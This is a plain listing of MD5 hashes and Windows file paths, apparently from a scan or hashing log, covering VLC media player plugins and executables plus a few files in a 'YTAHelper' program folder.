5833282e7de8de5af90ae9cce1103092	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll
ec5c0e853d0e97a35639af58f03c14f2	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll
65db3ccb337d9be65fb3f6b3b7d51408	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll
f437be338f7e1b38b923be8c8aa67d48	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll
1b6933c1d7194eec182616aa357e4b95	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll
62abb7d34d9323504015cb364464c983	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll
d3df0926f73d71299c7e4684b0abc182	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll
96b60247338cbd2f9115db6a35bf0e33	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll
1f0e67383a058785fd3e5f7951dc30f5	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll
8f5c0ef52a5b9aef49fdf5a6e8bc2166	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll
4c04f90195bf8c631386b9c5e72143fe	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll
b50acb597b46c8074236a9af6fa3e7fe	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll
5fe5223fdf72e5494e28b6a1267f3b2d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll
ec4f47a1630dc9ca089aeb7a042c82a6	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll
61ba1da04f6a098d28ade9f9658efe02	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll
fbbce2711326173dfa3ebe33ca7495bc	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll
888a92b4e181167988cc6bb11935767e	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll
5917391c54d1a3c5be052dd140892ef3	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll
2605031070f1d63555ecac754f02d006	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll
a8c03a626b67f289c844ed3c59d5ed55	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll
825872b84957c66e04c1bcb147aa6f05	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll
466cfe4216c3ad15089dcdd9c264be01	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll
8a159ec8e6cd85431387bc50e38c46e4	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll
536cdb1a662fd2a378607ebc5164421a	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll
e70cf0ff92602601efb43bf10721a5fc	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll
b6f77e2a599ebdae7cf962bb2009561d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll
3f9915b3acd4964b974c6922657e9a34	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll
9f1b132a200448648ae5f0a899919e97	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll
ec923998448dd5e4943b9c3682893e19	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll
4753b96ae023d54cfff0293acb0e5b50	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll
f1004437511016ee01db1d0fb0d15213	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll
5d1599e5d788a562b2f1e8b00d2630f2	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll
1a285bde8058bd4488d8085c5651977a	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll
7cea0b1ed24942ef3690fe1821f58afe	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll
4bcea439d874481c6fa65f8913d7a0a6	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll
0ad0e7ebf5dcba3060dbae5a354881c6	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
003aec04d21c790f5cdec00b25dce187	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll
fdf3956a44f6ff2df309fdde19cdd4a3	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
85b4abee2dd00660bb125ca9b2910d22	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll
e0d788ce98e094ceebfd31863de6c43b	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll
ee00d1a5022c55b513e666f578f7bf63	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll
6acf608863191fd1ef88da84bd5e211b	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll
ef535cb45c315e305a731407b74b34f3	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll
b4d6a1f8c35bb1e8b13df21b06c1e316	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll
f560de3a9e198c499c08091707361fe1	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll
aa4a6078ec6cdc0908394b7136eed402	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll
29a8cc1f748e9d7ca2fdf81ad63c2153	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll
850460a413ce45412202572227c9f944	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll
5439f08e3de3c4fcbaa3b3537bf8d6d8	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll
8e75215f3765ace69e3a480042950e5e	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll
00f5425d489e707f28401a2fa48e144d	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll
c4f88acdec016542edcc9247b9b19970	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
0d97a9c152803ab197605937bbbe390f	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll
9d7d8c289614a2284b5dd74b72d90738	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll
192cac1d61ea3cfc8fd76264e7d82e64	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll
265f378b75fd3ddbd4f6cc532b711db9	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll
e53a5e9846b04433ff7791b4ff4520ce	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll
ab59088d97c3e68869db4cfb0fe152f1	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll
8e633aa0f9c134e0f7e68ca401e56150	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll
8f5b24e152387b6335d83438aaf37c69	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll
23262990d23194c89296d840637cd204	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll
a3d2c1de9057ac09494e62ba27a1e722	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll
8f50a5d9fe66920dcdac0072d45279ae	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll
a4ec8a35ae1d1f0f77b197a0636aaaf9	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll
309b4f5ad798583ba8a6ccd8edf3ce15	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll
1b8d1f8b416d507746cf56cd09e0628d	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll
0f123ce5e61925580b9a9c2135560235	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll
e084b73fdbd4b25643a86348fe3d8f97	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll
2f284608ba21a9d3008abc1454aef0f9	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll
200148b28d8470bcdea286dd97c3d09f	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll
5280478b6f400d4d5743f695d73551a5	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll
78a7f6d843af153f6ad1e7ce2dce4be1	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll
ebdb66807190e51b836fa70bfb589a35	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll
35686b05e1e8cecd4864e115eb364bc7	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll
ee5c75fc2c5dcf000232bcee182f2aa0	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll
4345ac956b4079b6e3048c705cc458aa	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll
14efc2356fe6b79b3024abf7b228f4a1	c:\Program Files (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll
cb4f02b51b61ad761bd8718918863ab7	c:\Program Files (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll
c3a27b0e237525a4b2c43b2b993093de	c:\Program Files (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll
9ea62f63c07e94a4e70436668078bc7e	c:\Program Files (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll
3b07d843b8eb8118b3828f341ebf2508	c:\Program Files (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll
6d9c7a8f6a2c6c70483ba74f9537f53e	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll
61897695afcd52f424511400a9fc52db	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll
7386e9ca03ecb55bfc5b9210c976598e	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll
51b92b25df7e524d9912f924aeb0e7af	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll
184b5ec34a8b69005074f743af3fd6b8	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll
5de8c0315a44182119a26bf996e591c5	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll
fd9cbc5facd318543e77275e36d5cb75	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll
5c53984f06bcf5897a534c06017ca1ac	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll
c0f2354ed64fb0a05a644956dc923620	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll
7d7937b0fdbbebbce54db945bdc56ee3	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll
bb71efcb8ac9b657d87bc03b11ca468d	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll
dd088ff395cd38a04eb009a57ee6d240	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll
d2cb5d278c6c9888afe92f6cb637daa9	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll
4197146bb707b3b27cc375533801feef	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll
d59f3361c384ffbe70cdeb8718f52dd9	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll
a64a2d2196ee92aa9a3347b7f1aee972	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll
5d85cd5a4ae522c1dfee3a6d0bf748c8	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll
71c5bb09870655f83605573d1f219482	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll
5a454c60be6b4ac164624e5b0fc2bdb6	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll
16a185479698c3a6db741080a8e610bb	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll
ae3d3c568d8c37311b5538ea219b52ae	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll
1676f30d0c3c1d387382f3f83c0869bc	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll
eeed34457f310be5d0db499260ce89cc	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll
ad61cb401c11dad142e1955a4e1167fa	c:\Program Files (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll
9c4845dc30206c7d82bd1634db043131	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll
c103a0c0427e202d758a105fbf6cf54b	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll
26c0fb43ed602cb3748a8fbd7d4ade44	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll
bbe54b559725f106b7ab99c794b82181	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll
b5e7ae40028dd796848deb5c3b3c1f6d	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll
c6f94ef67c420b6c7b195d4194e234b6	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll
c249e908ab9cf86f4fd9f840fa29c32f	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll
5823b722eac81d29d92b3ce652a5ca90	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll
092375cee7ea8900d7ddec1b161a0f35	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll
87dce361543810e7184c7f9ec92b18c8	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll
23ec38b29ed49263ce06e51a8ec7d631	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll
201a9b2ad00f9782841a9f18ded17d72	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll
c42cfa2cbf022c5df421be0d5516bff6	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll
41918b1cdaaf6f47c8a3145857267444	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll
0f32c46097326e94aeb7389b001ce872	c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll
87b784fb01db04e26fe5531964a6c7b7	c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll
2cddbdd90c5a1686f3b6cc609ab47c26	c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll
41817ecf5d2ef902588474fe8deb3b55	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll
ccf251f23b55b3c7a12680d47d45e561	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll
a19b056ebab5b14eff0fd65b35292e74	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll
5825d7e34143da127306a994d2c9a292	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll
79a4f3cf9110192d9fce068857c363c2	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll
bf0f6a501f1072c476b04c282163c08b	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll
bf54595f2547568dee74086cd6492dea	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll
03a67f5411757f174368423b639fa7d4	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll
c1b07547369d8b810a05ac1503567e9b	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll
77192c3a78932df4e6bbe6f1d2d628aa	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll
7bfc6b76ecef5ec7531bda08306945d5	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll
41c2e059ada54dfa9d0027611adb3004	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll
e1b27bd7480df4aaacfc66dcedbe7097	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll
9de00563fb1baa9ca1a8a3b7d014af0c	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll
1a5bc90d24a6b143332af0227aecf7fb	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll
51cff21e147325c7893258e575944ebb	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll
052f273430e78a5eb70ad58873f55968	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll
0b3327e353109210d1a494b13a37563c	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll
18684611a0c25165c7f039220ab58e37	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll
8aaa9f6b8dfb7243828ddd574cbecea5	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll
11ecf4145cc35a4d68d33b5018788d7e	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll
49276e879ecc4cb7a78df71d6a978160	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll
2cffc943399952f80fc861664d5a38ef	c:\Program Files (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll
0c23a4655d597a5236a6c647af7e67cf	c:\Program Files (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll
c130cd5cffdc9409fa9c39f6bb89ab3d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll
379ababcd4cbae0b4f1b4c75b8cbf736	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll
fdc703f5dcdb2fcb5fd31b0e1d0453d0	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll
a3681a6b3b02f75fe96c3f02c660d36f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll
ca5128aab097cc34678085436845a19d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll
62727ef99e04adc08182e80a624dfb8d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll
11fa01b2fa790bc76a604f8ca7d958d4	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll
63d156f2696b43209bfb82c9c8a6f470	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll
dc68aaa80dfd4994dbd4be0583195f67	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll
ff1069cd6d934d8d4385b4359603217f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll
4b7c0fe6fb5176e2254ae79cf3241c73	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll
5e889ea8bfe8b49aaa6da5b3549bb3bf	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll
81202d12045520ab7bd4a390b05b64bd	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll
fb5cdb1af3a4e9be27aca6184cf05571	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll
d1e703bd8b6707f9b712f96ab3e6ba5f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll
404490520049ced9fa7fe0821893afb2	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll
b51270f05d0a9cfb12270f74c4a8aca7	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll
664eace01bfd15de2f87049ff26eceb9	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll
6061c3dec7be29becae5814dad14de31	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll
7f9dd77437c5fc5ba2aa898d327c769c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll
c1c3e434091929cda677b6b84d938b22	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll
9af7bc93e6c9a815d8e0f897c79df2db	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll
e302fc85d15ded44ed5ad978145ebe91	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll
d3a866fddaf60ae0299315f3837e2ab2	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll
f93ffbe02abf3a55a5065c12969930dd	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll
7127cc5d723c19dcd0f51796cd4058f0	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll
05bb06441a8fd2585c142cbec873d822	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll
568a0e37623c08506a4920a78653ff8c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll
1445aaf6d64e659f5343d4bd9d154fd4	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll
d63fbbbf42397cef0f6d19e07fffcb0b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll
a83188016bc5940ce7f314b2206b9ea7	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll
777934933191367752f6c32cebf0fe62	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll
0e3b107e7e39b0dea82d2981c7f229b5	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll
8b4c53a1aaf5afce7611588d7eda7949	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll
b32611145ac13542fd0afce831c9ff0e	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll
7aaed4e5d8d122618fb680f1ff2965aa	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll
ee9b8552cada887e09a86d564380b7ca	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll
e4f466849dd1cf5e1300519cb4629a64	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll
ac722b303e62f38f7c258dc673e47f35	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll
1f61ca0497fbcfc157252d03ba7db30d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll
7d9377ef700e4d365f30e5cfa6b9f5a7	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll
5b3941a14726a646d4222fd50f518d11	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll
91655d3c1a93485406b0307ebf9afb4c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll
bc4a94995a3fb82076267e61e43fc546	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll
8361f8739745b76e4aebdab8cabdbad9	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll
d34fd10750c043116ba3d0473901483b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll
fd7942281ff72a2b796717f3aeb77002	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll
e80c177ef2d15384d4fb39f1884ba35c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll
e78f445f857881ce3cc9227e4b15ef24	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll
15a16b51104c30e579c7076d78a136b4	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll
4f67a5a00daff4154441de31ce482f43	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll
9b77256accac881eca576dca90b4a18d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll
20a2fe19e9042f7e58f437155b8801e5	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll
5a15506508914e98933811db65ba9cb7	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll
f96736d0e0e5a1fdbf48b6e08098329f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll
7816d73f2d80d5522f6a633146fcbab6	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll
0012c04213738072a7a41fa90757e3af	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll
509faadf173a803fa9b7347a0daa102b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll
226883f1713eda7ed9150e94521a9a8b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll
bcf2038ae729811f9e952d90b5438f69	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll
ebfbd46fa799beb118917840ff2b59ca	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll
823334fd3b1cfb5988e1a90564e71434	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll
e2628f86841e9cacce9abc4f67ae0d76	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll
38c4bdc3a398bf3b527d3df9c43ab7c8	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll
0a88cf118fbe4805b679984f105815d8	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll
781e5c0d2ecf931cccc4f5daabf6267e	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll
995b42652811a69f67ff74204e9af74c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll
e970abba2edf38d61ebac54171054069	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll
e7292ee10c7825c71417ba4d0091c0b9	c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll
bfe895a61b1590c39debb87208261361	c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll
ccd3f1eebfb8c29624e7202e10e0ecfa	c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll
d2f7de9fd7347bbbb42520877788c6d5	c:\Program Files (x86)\VideoLAN\VLC\uninstall.exe
5deeffa7de3b818b832eafc14fe25944	c:\Program Files (x86)\VideoLAN\VLC\vlc-cache-gen.exe
1ef5b782dc95b24710d88fd5db6a1d14	c:\Program Files (x86)\VideoLAN\VLC\vlc.exe
7b538383623b61c01dc8c9db2f27192a	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
fcd7181045d7f45863163685f63cbc26	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
3db5e55f5b7cad6dfa73987703be553d	c:\Program Files (x86)\YTAHelper\SPRemove.exe
0f280884fb3ea901810e3687d520e66b	c:\Program Files (x86)\YTAHelper\YTAHelper.dll
4c2cbf16ac43df603dd18ef5adb7e7c0	c:\Program Files (x86)\YTAHelper\YTAHelper.exe
ea7bfd3722f6bdb16942dfdcebe2a7bd	c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
